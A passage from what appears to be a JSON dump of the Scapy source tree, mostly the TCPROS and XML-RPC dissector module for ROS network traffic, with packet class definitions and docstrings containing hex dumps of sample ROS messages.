# type: (Packet, TCPAOAlg, bytes, int, int, bool, int) -> None\n    \"\"\"Calculate TCP-AO option value and insert into packet\"\"\"\n    th = p[TCP]\n    keyids = struct.pack(\"BB\", keyid, rnextkeyid)\n    th.options = th.options + [('AO', keyids + alg.maclen * b\"\\x00\")]\n    message_bytes = calc_tcpao_mac(\n        p, alg, traffic_key, include_options=include_options, sne=sne)\n    mac = alg.mac(traffic_key, message_bytes)\n    th.options[-1] = ('AO', keyids + mac)\n"
  },
  {
    "path": "scapy/contrib/tcpros.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Víctor Mayoral-Vilches <v.mayoralv@gmail.com>\n\n\"\"\"\nTCPROS transport layer for ROS Melodic Morenia 1.14.5\n\"\"\"\n\n# scapy.contrib.description = TCPROS transport layer for ROS Melodic Morenia\n# scapy.contrib.status = loads\n# scapy.contrib.name = tcpros\n\nimport struct\nfrom scapy.compat import raw\nfrom scapy.fields import (\n    LEIntField,\n    StrLenField,\n    FieldLenField,\n    StrFixedLenField,\n    ByteField,\n)\nfrom scapy.layers.http import HTTP, HTTPRequest, HTTPResponse\nfrom scapy.packet import Packet, Raw, PacketListField\nfrom scapy.config import conf\n\n\nclass TCPROS(Packet):\n    \"\"\"\n    TCPROS is a transport layer for ROS Messages and Services. It uses standard\n    TCP/IP sockets for transporting message data. Inbound connections are\n    received via a TCP Server Socket with a header containing message data type\n    and routing information.\n\n    This class focuses on capturing the ROS Slave API\n\n    An example package is presented below::\n\n        B0 00 00 00 26 00 00 00 63 61 6C 6C 65 72 69 64  ....&...callerid\n        3D 2F 72 6F 73 74 6F 70 69 63 5F 38 38 33 30 35  =/rostopic_88305\n        5F 31 35 39 31 35 33 38 37 38 37 35 30 31 0A 00  _1591538787501..\n        00 00 6C 61 74 63 68 69 6E 67 3D 31 27 00 00 00  ..latching=1'...\n        6D 64 35 73 75 6D 3D 39 39 32 63 65 38 61 31 36  md5sum=992ce8a16\n        38 37 63 65 63 38 63 38 62 64 38 38 33 65 63 37  87cec8c8bd883ec7\n        33 63 61 34 31 64 31 1F 00 00 00 6D 65 73 73 61  3ca41d1....messa\n        67 65 5F 64 65 66 69 6E 69 74 69 6F 6E 3D 73 74  ge_definition=st\n        72 69 6E 67 20 64 61 74 61 0A 0E 00 00 00 74 6F  ring data.....to\n        70 69 63 3D 2F 63 68 61 74 74 65 72 14 00 00 00  pic=/chatter....\n        74 79 70 65 3D 73 74 64 5F 6D 73 67 73 2F 53 74  type=std_msgs/St\n        72 69 6E 67                                      ring\n\n    Sources:\n        - http://wiki.ros.org/ROS/TCPROS\n        - http://wiki.ros.org/ROS/Connection%20Header\n        - https://docs.python.org/3/library/struct.html\n        - https://scapy.readthedocs.io/en/latest/build_dissect.html\n\n    TODO:\n        - Extend to support subscriber's interactions\n        - Unify with subscriber's header\n\n    NOTES:\n        - 4-byte length + [4-byte field length + field=value ]*\n        - All length fields are little-endian integers. Field names and\n            values are strings.\n        - Cooked as of ROS Melodic Morenia v1.14.5.\n    \"\"\"\n\n    name = \"TCPROS\"\n\n    def guess_payload_class(self, payload):\n        string_payload = payload.decode(\"iso-8859-1\")  # decode to string\n        # for search\n\n        # flag indicating if the TCPROS encoding format is met\n        #   4-byte length + [4-byte field length + field=value ]*\n        total_length = len(payload)\n        total_length_payload = struct.unpack(\"<I\", payload[:4])[0]\n        remain = payload[4:]\n        remain_len = len(remain)\n        # flag of the encoding format\n        flag_encoding_format = (total_length > total_length_payload) and (\n            total_length_payload == remain_len\n        )\n\n        if conf.debug_dissector:\n            print(payload)\n            print(string_payload)\n            print(\"total_length: \" + str(total_length))\n            print(\"total_length_payload: \" + str(total_length_payload))\n            print(\"remain: \" + str(remain))\n            print(flag_encoding_format)\n\n        flag_encoding_format_subfields = False\n        if flag_encoding_format:\n            # flag indicating that sub-fields meet\n            # TCPROS encoding format:\n            #  [4-byte field length + field=value ]*\n            flag_encoding_format_subfields = True\n            while remain:\n                field_len_bytes = struct.unpack(\"<I\", remain[:4])[0]\n                current = remain[4:4 + field_len_bytes]\n                remain = remain[4 + field_len_bytes:]\n\n                if int(field_len_bytes) != len(current):\n                    # print(\"BREAKING - int(field_len_bytes) != len(current)\")\n                    flag_encoding_format_subfields = False\n                    break\n\n        if (\n            \"callerid\" in string_payload and\n                flag_encoding_format and\n                flag_encoding_format_subfields\n        ):\n            return TCPROSHeader\n        elif flag_encoding_format and flag_encoding_format_subfields:\n            return TCPROSBody\n        elif flag_encoding_format:\n            return TCPROSBodyVariation\n        elif \"HTTP/1.1\" in string_payload and \"text/xml\" in string_payload:\n            # NOTE:\n            #   - \"HTTP/1.1\": corresponds with melodic\n            #   - \"HTTP/0.3\": corresponds with kinetic\n\n            # return HTTPROS  # corresponds with XML-RPC calls\n            return HTTP  # use old-fashioned HTTP\n\n        elif \"HTTP/1.0\" in string_payload and \"text/xml\" in string_payload:\n            return HTTP  # use old-fashioned HTTP, which gives less control\n        else:\n            # return Packet.guess_payload_class(self, payload)\n            return Raw(self, payload)  # returns Raw layer grouping not only\n            # the payload but this layer itself.\n\n\nclass TCPROSElement(Packet):\n    \"\"\"\n    Captures each one of the elements in the\n    TCPROSHeader or TCPROSBody packages.\n\n    NOTE: Used within other packages\n    \"\"\"\n\n    name = \"TCPROSElement\"\n    fields_desc = [\n        # field\n        FieldLenField(name=\"field_length\",\n                      default=None, length_of=\"field\", fmt=\"<I\"),\n        StrLenField(name=\"field\", length_from=lambda pkt: pkt.field_length,\n                    default=\"\"),\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass TCPROSHeader(Packet):\n    \"\"\"\n    The Header of the TCPROS package::\n\n        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |header.|  len1 |                    element1                   |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |               |  len2 |                                       |\n        +-+-+-+-+-+-+-+-+-+-+-+-+                                       +\n        |                            element2                           |\n        +                       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |                       |  ...  |                               |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +\n        |                                                               |\n        +                              ...                              +\n        |                                                               |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n    Generated with::\n        protocol \"header_length:4,len1:4,element1:32,len2:4,\n            element2:64,...:4,...:80\" --bits 32\n\n    Typical header looks like::\n\n        7C 00 00 00 12 00 00 00 63 61 6C 6C 65 72 69 64  |.......callerid\n        3D 2F 6C 69 73 74 65 6E 65 72 27 00 00 00 6D 64  =/listener'...md\n        35 73 75 6D 3D 39 39 32 63 65 38 61 31 36 38 37  5sum=992ce8a1687\n        63 65 63 38 63 38 62 64 38 38 33 65 63 37 33 63  cec8c8bd883ec73c\n        61 34 31 64 31 0D 00 00 00 74 63 70 5F 6E 6F 64  a41d1....tcp_nod\n        65 6C 61 79 3D 30 0E 00 00 00 74 6F 70 69 63 3D  elay=0....topic=\n        2F 63 68 61 74 74 65 72 14 00 00 00 74 79 70 65  /chatter....type\n        3D 73 74 64 5F 6D 73 67 73 2F 53 74 72 69 6E 67  =std_msgs/String\n\n    \"\"\"\n\n    name = \"TCPROSHeader\"\n    __slots__ = Packet.__slots__ + [\"nfields\"]\n    fields_desc = [\n        # header_length\n        FieldLenField(name=\"header_length\",\n                      default=None, length_of=\"list\", fmt=\"<I\"),\n        # list  ## contains TCPROSElement\n        PacketListField(\"list\", None,\n                        TCPROSElement, count_from=lambda pkt: pkt.nfields),\n    ]\n\n    def pre_dissect(self, s):\n        \"\"\"\n        Called to prepare the layer before dissection\n        \"\"\"\n        # To retrieve nfields, we need to go through the\n        # whole header and dynamically count on the fields:\n        self.nfields = 0\n        total_header_length = struct.unpack(\"<I\", raw(s)[:4])[0]\n        if conf.debug_dissector:\n            total_length = len(s)\n            print(\"total_length: \" + str(total_length))\n            print(\"total_header_length: \" + str(total_header_length))\n        remain = raw(s)[4:total_header_length]\n        while remain:\n            field_len_bytes = struct.unpack(\"<I\", remain[:4])[0]\n            remain = remain[4 + field_len_bytes:]\n            if conf.debug_dissector:\n                print(\"field_len_bytes: \" + str(field_len_bytes))\n                current = remain[:4 + field_len_bytes]\n                print(\"current: \" + str(current))\n                print(\"remain: \" + str(remain))\n            self.nfields += 1\n        return s\n\n    def do_dissect_payload(self, s):\n        self.guess_payload_class(s)\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass TCPROSBody(Packet):\n    \"\"\"\n    TCPROS body type of package::\n\n        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |body_l.|  len1 |                    element1                   |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |               |  len2 |                                       |\n        +-+-+-+-+-+-+-+-+-+-+-+-+                                       +\n        |                            element2                           |\n        +                       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |                       |  ...  |                               |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +\n        |                                                               |\n        +                              ...                              +\n        |                                                               |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n    Generated with::\n        protocol \"body_length:4,len1:4,element1:32,len2:4,\n            element2:64,...:4,...:80\" --bits 32\n\n    As per ROS Melodic Morenia v1.14.5. this package is generally\n    seen separated from a TCPROSHeader. A simple such package::\n\n        12 00 00 00 0E 00 00 00 68 65 6C 6C 6F 20 77 6F  ........hello wo\n        72 6C 64 20 31 36                                rld 16\n\n    \"\"\"\n\n    name = \"TCPROSBody\"\n    __slots__ = Packet.__slots__ + [\"nfields_body\"]\n    fields_desc = [\n        FieldLenField(name=\"body_length\",\n                      default=None, length_of=\"list\", fmt=\"<I\"),\n        # header\n        PacketListField(\n            \"list\", None, TCPROSElement,\n            count_from=lambda pkt: pkt.nfields_body\n        ),\n    ]\n\n    def pre_dissect(self, s):\n        \"\"\"\n        Called to prepare the layer before dissection\n        \"\"\"\n        # To retrieve nfields_body, we need to go through the\n        # whole header and dynamically count on the fields:\n        self.nfields_body = 0\n        total_header_length = struct.unpack(\"<I\", raw(s)[:4])[0]\n        remain = raw(s)[4:total_header_length]\n        if conf.debug_dissector:\n            total_length = len(s)\n            print(\"total_length: \" + str(total_length))\n            print(\"total_header_length: \" + str(total_header_length))\n        while remain:\n            field_len_bytes = struct.unpack(\"<I\", remain[:4])[0]\n            remain = remain[4 + field_len_bytes:]\n            if conf.debug_dissector:\n                print(\"field_len_bytes: \" + str(field_len_bytes))\n                current = remain[:4 + field_len_bytes]\n                print(\"current: \" + str(current))\n                print(\"remain: \" + str(remain))\n            self.nfields_body += 1\n        return s\n\n    def do_dissect_payload(self, s):\n        self.guess_payload_class(s)\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass TCPROSBodyVariation(TCPROSBody):\n    \"\"\"\n    TCPROS body variation type of package::\n\n        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |body_l.|sequen.|        signature        |  len1 |             |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |                     element1                    |  ...  |     |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+     +\n        |                                                               |\n        +                              ...                              +\n        |                                                               |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n    Generated with::\n        protocol \"body_length:4,sequence:4,signature:13,len1:4,\n            element1:32,...:4,...:67\" --bits 32\n\n    As per ROS Melodic Morenia v1.14.5. this package is generally\n    seen separated from a TCPROSHeader. An exemplary such package::\n\n        AB 00 00 00 00 00 00 00 7D 81 03 5F 7C A4 3F 0E  ........}.._|.?.\n        00 00 00 00 02 09 00 00 00 2F 6C 69 73 74 65 6E  ........./listen\n        65 72 18 00 00 00 49 20 68 65 61 72 64 3A 20 5B  er....I heard: [\n        68 65 6C 6C 6F 20 77 6F 72 6C 64 20 33 5D 47 00  hello world 3]G.\n        00 00 2F 74 6D 70 2F 62 69 6E 61 72 79 64 65 62  ../tmp/binarydeb\n        2F 72 6F 73 2D 6D 65 6C 6F 64 69 63 2D 72 6F 73  /ros-melodic-ros\n        63 70 70 2D 74 75 74 6F 72 69 61 6C 73 2D 30 2E  cpp-tutorials-0.\n        39 2E 32 2F 6C 69 73 74 65 6E 65 72 2F 6C 69 73  9.2/listener/lis\n        74 65 6E 65 72 2E 63 70 70 0F 00 00 00 63 68 61  tener.cpp....cha\n        74 74 65 72 43 61 6C 6C 62 61 63 6B 26 00 00 00  tterCallback&...\n        01 00 00 00 07 00 00 00 2F 72 6F 73 6F 75 74     ......../rosout\n\n    and the next one referring also to '/listener'::\n\n        AB 00 00 00 01 00 00 00 7D 81 03 5F 00 54 42 14  ........}.._.TB.\n        00 00 00 00 02 09 00 00 00 2F 6C 69 73 74 65 6E  ........./listen\n        65 72 18 00 00 00 49 20 68 65 61 72 64 3A 20 5B  er....I heard: [\n        68 65 6C 6C 6F 20 77 6F 72 6C 64 20 34 5D 47 00  hello world 4]G.\n        00 00 2F 74 6D 70 2F 62 69 6E 61 72 79 64 65 62  ../tmp/binarydeb\n        2F 72 6F 73 2D 6D 65 6C 6F 64 69 63 2D 72 6F 73  /ros-melodic-ros\n        63 70 70 2D 74 75 74 6F 72 69 61 6C 73 2D 30 2E  cpp-tutorials-0.\n        39 2E 32 2F 6C 69 73 74 65 6E 65 72 2F 6C 69 73  9.2/listener/lis\n        74 65 6E 65 72 2E 63 70 70 0F 00 00 00 63 68 61  tener.cpp....cha\n        74 74 65 72 43 61 6C 6C 62 61 63 6B 26 00 00 00  tterCallback&...\n        01 00 00 00 07 00 00 00 2F 72 6F 73 6F 75 74     ......../rosout\n\n    NOTE: not all packages are disgested appropriately and some\n    fields need to be better understood (e.g. signature) for\n    appropriate building.\n\n    NOTE 2: Needs further research to convert Padding at the end to\n    something that makes sense.\n\n    \"\"\"\n\n    name = \"TCPROSBodyVariation\"\n    fields_desc = [\n        # body_length\n        FieldLenField(name=\"body_length\",\n                      default=None, length_of=\"list\", fmt=\"<I\"),\n        # sequence\n        LEIntField(name=\"sequence\", default=0),\n        # signature  ## not documented, guessing\n        StrFixedLenField(\"signature\", None, length=13),\n        # list\n        PacketListField(\n            \"list\", None, TCPROSElement,\n            count_from=lambda pkt: pkt.nfields_body\n        ),\n    ]\n\n\nclass XMLRPC(Packet):\n    \"\"\"\n    XML-RPC is a remote procedure call (RPC) protocol which uses XML to encode\n    its calls and HTTP as a transport mechanism.\n\n    ROS uses XML-RPC for a variety of interactions including:\n        - Register/unregister subscribers and publishers\n        - Set or get parameters\n        - Updates in the ROS computational graph, across endpoints\n        - Request of transports, between endpoints\n\n    This class aims to abstract all these interactions while building on top\n    of the Master and Parameter APIs of ROS (the Slave API is abstracted in\n    the ROSTCP class).\n\n    An example package of a publisher initiating communication is presented\n    below wherein this particular package requests the Master's PID\n    (HTTP Request)::\n\n        0000  02 42 0C 00 00 02 02 42 0C 00 00 04 08 00 45 00  .B.....B......E.\n        0010  01 7C 4F F8 40 00 40 06 D1 7E 0C 00 00 04 0C 00  .|O.@.@..~......\n        0020  00 02 8E 62 2C 2F C7 A9 92 A9 87 00 82 4C 80 18  ...b,/.......L..\n        0030  01 FD 19 74 00 00 01 01 08 0A BB 36 D2 1A 39 82  ...t.......6..9.\n        0040  4B 7A 50 4F 53 54 20 2F 52 50 43 32 20 48 54 54  KzPOST /RPC2 HTT\n        0050  50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 31 32 2E  P/1.1..Host: 12.\n        0060  30 2E 30 2E 32 3A 31 31 33 31 31 0D 0A 41 63 63  0.0.2:11311..Acc\n        0070  65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A  ept-Encoding: gz\n        0080  69 70 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20  ip..User-Agent:\n        0090  78 6D 6C 72 70 63 6C 69 62 2E 70 79 2F 31 2E 30  xmlrpclib.py/1.0\n        00a0  2E 31 20 28 62 79 20 77 77 77 2E 70 79 74 68 6F  .1 (by www.pytho\n        00b0  6E 77 61 72 65 2E 63 6F 6D 29 0D 0A 43 6F 6E 74  nware.com)..Cont\n        00c0  65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 78  ent-Type: text/x\n        00d0  6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67  ml..Content-Leng\n        00e0  74 68 3A 20 31 35 39 0D 0A 0D 0A 3C 3F 78 6D 6C  th: 159....<?xml\n        00f0  20 76 65 72 73 69 6F 6E 3D 27 31 2E 30 27 3F 3E   version='1.0'?>\n        0100  0A 3C 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A 3C 6D  .<methodCall>.<m\n        0110  65 74 68 6F 64 4E 61 6D 65 3E 67 65 74 50 69 64  ethodName>getPid\n        0120  3C 2F 6D 65 74 68 6F 64 4E 61 6D 65 3E 0A 3C 70  </methodName>.<p\n        0130  61 72 61 6D 73 3E 0A 3C 70 61 72 61 6D 3E 0A 3C  arams>.<param>.<\n        0140  76 61 6C 75 65 3E 3C 73 74 72 69 6E 67 3E 2F 72  value><string>/r\n        0150  6F 73 74 6F 70 69 63 3C 2F 73 74 72 69 6E 67 3E  ostopic</string>\n        0160  3C 2F 76 61 6C 75 65 3E 0A 3C 2F 70 61 72 61 6D  </value>.</param\n        0170  3E 0A 3C 2F 70 61 72 61 6D 73 3E 0A 3C 2F 6D 65  >.</params>.</me\n        0180  74 68 6F 64 43 61 6C 6C 3E 0A                    thodCall>.\n\n    The counterpart (the Master) answers with (HTTP Response)::\n\n        0000  02 42 0C 00 00 04 02 42 0C 00 00 02 08 00 45 00  .B.....B......E.\n        0010  01 A2 8C CD 40 00 40 06 94 83 0C 00 00 02 0C 00  ....@.@.........\n        0020  00 04 2C 2F 8E 62 87 00 82 4C C7 A9 93 F1 80 18  ..,/.b...L......\n        0030  01 F6 19 9A 00 00 01 01 08 0A 39 82 4B 7B BB 36  ..........9.K{.6\n        0040  D2 1A 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F  ..HTTP/1.1 200 O\n        0050  4B 0D 0A 53 65 72 76 65 72 3A 20 42 61 73 65 48  K..Server: BaseH\n        0060  54 54 50 2F 30 2E 33 20 50 79 74 68 6F 6E 2F 32  TTP/0.3 Python/2\n        0070  2E 37 2E 31 37 0D 0A 44 61 74 65 3A 20 53 75 6E  .7.17..Date: Sun\n        0080  2C 20 30 36 20 44 65 63 20 32 30 32 30 20 31 35  , 06 Dec 2020 15\n        0090  3A 31 37 3A 33 38 20 47 4D 54 0D 0A 43 6F 6E 74  :17:38 GMT..Cont\n        00a0  65 6E 74 2D 74 79 70 65 3A 20 74 65 78 74 2F 78  ent-type: text/x\n        00b0  6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 6C 65 6E 67  ml..Content-leng\n        00c0  74 68 3A 20 32 32 39 0D 0A 0D 0A 3C 3F 78 6D 6C  th: 229....<?xml\n        00d0  20 76 65 72 73 69 6F 6E 3D 27 31 2E 30 27 3F 3E   version='1.0'?>\n        00e0  0A 3C 6D 65 74 68 6F 64 52 65 73 70 6F 6E 73 65  .<methodResponse\n        00f0  3E 0A 3C 70 61 72 61 6D 73 3E 0A 3C 70 61 72 61  >.<params>.<para\n        0100  6D 3E 0A 3C 76 61 6C 75 65 3E 3C 61 72 72 61 79  m>.<value><array\n        0110  3E 3C 64 61 74 61 3E 0A 3C 76 61 6C 75 65 3E 3C  ><data>.<value><\n        0120  69 6E 74 3E 31 3C 2F 69 6E 74 3E 3C 2F 76 61 6C  int>1</int></val\n        0130  75 65 3E 0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69  ue>.<value><stri\n        0140  6E 67 3E 3C 2F 73 74 72 69 6E 67 3E 3C 2F 76 61  ng></string></va\n        0150  6C 75 65 3E 0A 3C 76 61 6C 75 65 3E 3C 69 6E 74  lue>.<value><int\n        0160  3E 33 39 38 3C 2F 69 6E 74 3E 3C 2F 76 61 6C 75  >398</int></value\n        0170  65 3E 0A 3C 2F 64 61 74 61 3E 3C 2F 61 72 72 61  e>.</data></arra\n        0180  79 3E 3C 2F 76 61 6C 75 65 3E 0A 3C 2F 70 61 72  y></value>.</par\n        0190  61 6D 3E 0A 3C 2F 70 61 72 61 6D 73 3E 0A 3C 2F  am>.</params>.</\n        01a0  6D 65 74 68 6F 64 52 65 73 70 6F 6E 73 65 3E 0A  methodResponse>.\n\n\n    In another communication, and endpoint could request a parameter using the\n    Parameter Server API (HTTP Request)::\n\n        0000  02 42 0C 00 00 02 02 42 0C 00 00 04 08 00 45 00  .B.....B......E.\n        0010  01 C0 8B 72 40 00 40 06 95 C0 0C 00 00 04 0C 00  ...r@.@.........\n        0020  00 02 90 10 2C 2F 9D 09 47 7F EC C3 08 BD 80 18  ....,/..G.......\n        0030  01 FD 19 B8 00 00 01 01 08 0A BB 86 68 91 39 D1  ............h.9.\n        0040  E1 F1 50 4F 53 54 20 2F 52 50 43 32 20 48 54 54  ..POST /RPC2 HTT\n        0050  50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 31 32 2E  P/1.1..Host: 12.\n        0060  30 2E 30 2E 32 3A 31 31 33 31 31 0D 0A 41 63 63  0.0.2:11311..Acc\n        0070  65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A  ept-Encoding: gz\n        0080  69 70 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20  ip..User-Agent:\n        0090  78 6D 6C 72 70 63 6C 69 62 2E 70 79 2F 31 2E 30  xmlrpclib.py/1.0\n        00a0  2E 31 20 28 62 79 20 77 77 77 2E 70 79 74 68 6F  .1 (by www.pytho\n        00b0  6E 77 61 72 65 2E 63 6F 6D 29 0D 0A 43 6F 6E 74  nware.com)..Cont\n        00c0  65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 78  ent-Type: text/x\n        00d0  6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67  ml..Content-Leng\n        00e0  74 68 3A 20 32 32 37 0D 0A 0D 0A 3C 3F 78 6D 6C  th: 227....<?xml\n        00f0  20 76 65 72 73 69 6F 6E 3D 27 31 2E 30 27 3F 3E   version='1.0'?>\n        0100  0A 3C 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A 3C 6D  .<methodCall>.<m\n        0110  65 74 68 6F 64 4E 61 6D 65 3E 67 65 74 50 61 72  ethodName>getPar\n        0120  61 6D 3C 2F 6D 65 74 68 6F 64 4E 61 6D 65 3E 0A  am</methodName>.\n        0130  3C 70 61 72 61 6D 73 3E 0A 3C 70 61 72 61 6D 3E  <params>.<param>\n        0140  0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69 6E 67 3E  .<value><string>\n        0150  2F 72 6F 73 70 61 72 61 6D 2D 38 32 30 34 33 3C  /rosparam-82043<\n        0160  2F 73 74 72 69 6E 67 3E 3C 2F 76 61 6C 75 65 3E  /string></value>\n        0170  0A 3C 2F 70 61 72 61 6D 3E 0A 3C 70 61 72 61 6D  .</param>.<param\n        0180  3E 0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69 6E 67  >.<value><string\n        0190  3E 2F 72 6F 73 64 69 73 74 72 6F 3C 2F 73 74 72  >/rosdistro</str\n        01a0  69 6E 67 3E 3C 2F 76 61 6C 75 65 3E 0A 3C 2F 70  ing></value>.</p\n        01b0  61 72 61 6D 3E 0A 3C 2F 70 61 72 61 6D 73 3E 0A  aram>.</params>.\n        01c0  3C 2F 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A        </methodCall>.\n\n    Sources:\n        - https://aliasrobotics.com/files/\n                securing_robot_endpoints_ot_environment.pdf\n        - http://wiki.ros.org/ROS/Master_API\n        - http://wiki.ros.org/ROS/Slave_API\n        - http://wiki.ros.org/ROS/Parameter%20Server%20API\n\n    \"\"\"\n\n    name = \"XMLRPC\"\n\n    def guess_payload_class(self, payload):\n        string_payload = payload.decode(\"iso-8859-1\")  # decode for search\n        # total_length = len(payload)\n\n        if \"xml\" in string_payload and \"version='1.0'\" in string_payload:\n            if isinstance(self.underlayer, HTTPRequest):\n                return XMLRPCCall\n            elif isinstance(self.underlayer, HTTPResponse):\n                return XMLRPCResponse\n            else:\n                print(\"failed to match\")\n                return Raw\n        else:\n            return Raw(self, payload)  # returns Raw layer grouping not only\n            # the payload but this layer itself.\n\n\n# Fields\nclass XMLRPCSeparator(ByteField):\n    \"\"\"\n    Separator of XML-RPC components - 0x0a\n\n    \"\"\"\n\n    def __init__(self, name, default=\"0x0a\"):\n        ByteField.__init__(self, name, default)\n\n\n# Packages\nclass XMLRPCCall(Packet):\n    \"\"\"\n    Request side of the ROS XMLPC elements used by Master and Parameter APIs\n    Exemplary package::\n\n        0000  02 42 0C 00 00 02 02 42 0C 00 00 04 08 00 45 00  .B.....B......E.\n        0010  01 C0 8B 72 40 00 40 06 95 C0 0C 00 00 04 0C 00  ...r@.@.........\n        0020  00 02 90 10 2C 2F 9D 09 47 7F EC C3 08 BD 80 18  ....,/..G.......\n        0030  01 FD 19 B8 00 00 01 01 08 0A BB 86 68 91 39 D1  ............h.9.\n        0040  E1 F1 50 4F 53 54 20 2F 52 50 43 32 20 48 54 54  ..POST /RPC2 HTT\n        0050  50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 31 32 2E  P/1.1..Host: 12.\n        0060  30 2E 30 2E 32 3A 31 31 33 31 31 0D 0A 41 63 63  0.0.2:11311..Acc\n        0070  65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A  ept-Encoding: gz\n        0080  69 70 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20  ip..User-Agent:\n        0090  78 6D 6C 72 70 63 6C 69 62 2E 70 79 2F 31 2E 30  xmlrpclib.py/1.0\n        00a0  2E 31 20 28 62 79 20 77 77 77 2E 70 79 74 68 6F  .1 (by www.pytho\n        00b0  6E 77 61 72 65 2E 63 6F 6D 29 0D 0A 43 6F 6E 74  nware.com)..Cont\n        00c0  65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 78  ent-Type: text/x\n        00d0  6D 6C 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67  ml..Content-Leng\n        00e0  74 68 3A 20 32 32 37 0D 0A 0D 0A 3C 3F 78 6D 6C  th: 227....<?xml\n        00f0  20 76 65 72 73 69 6F 6E 3D 27 31 2E 30 27 3F 3E   version='1.0'?>\n        0100  0A 3C 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A 3C 6D  .<methodCall>.<m\n        0110  65 74 68 6F 64 4E 61 6D 65 3E 67 65 74 50 61 72  ethodName>getPar\n        0120  61 6D 3C 2F 6D 65 74 68 6F 64 4E 61 6D 65 3E 0A  am</methodName>.\n        0130  3C 70 61 72 61 6D 73 3E 0A 3C 70 61 72 61 6D 3E  <params>.<param>\n        0140  0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69 6E 67 3E  .<value><string>\n        0150  2F 72 6F 73 70 61 72 61 6D 2D 38 32 30 34 33 3C  /rosparam-82043<\n        0160  2F 73 74 72 69 6E 67 3E 3C 2F 76 61 6C 75 65 3E  /string></value>\n        0170  0A 3C 2F 70 61 72 61 6D 3E 0A 3C 70 61 72 61 6D  .</param>.<param\n        0180  3E 0A 3C 76 61 6C 75 65 3E 3C 73 74 72 69 6E 67  >.<value><string\n        0190  3E 2F 72 6F 73 64 69 73 74 72 6F 3C 2F 73 74 72  >/rosdistro</str\n        01a0  69 6E 67 3E 3C 2F 76 61 6C 75 65 3E 0A 3C 2F 70  ing></value>.</p\n        01b0  61 72 61 6D 3E 0A 3C 2F 70 61 72 61 6D 73 3E 0A  aram>.</params>.\n        01c0  3C 2F 6D 65 74 68 6F 64 43 61 6C 6C 3E 0A        </methodCall>.\n\n    \"\"\"\n\n    name = \"XMLRPCCall\"\n    __slots__ = Packet.__slots__ + [\"methodname_size\", \"params_size\"]\n    fields_desc = [\n        # <?xml version='1.0'?>.<methodCall>.\n        StrFixedLenField(\n            \"version\",\n            \"<?xml version='1.0'?>\\n\",\n            length=22,  # 22\n        ),\n        # XMLRPCSeparator(\"separator_version\"),\n        StrFixedLenField(\"methodcall_opentag\", \"<methodCall>\\n\", length=13),\n        # <methodName>getParam</methodName>.\n        StrFixedLenField(\"methodname_opentag\", \"<methodName>\", length=12),\n        StrLenField(\"methodname\", \"getParam\",\n                    length_from=lambda pkt: pkt.methodname_size),\n        StrFixedLenField(\"methodname_closetag\", \"</methodName>\\n\", length=14),\n        # <params>.\n        StrFixedLenField(\"params_opentag\", \"<params>\\n\", length=9),\n        # 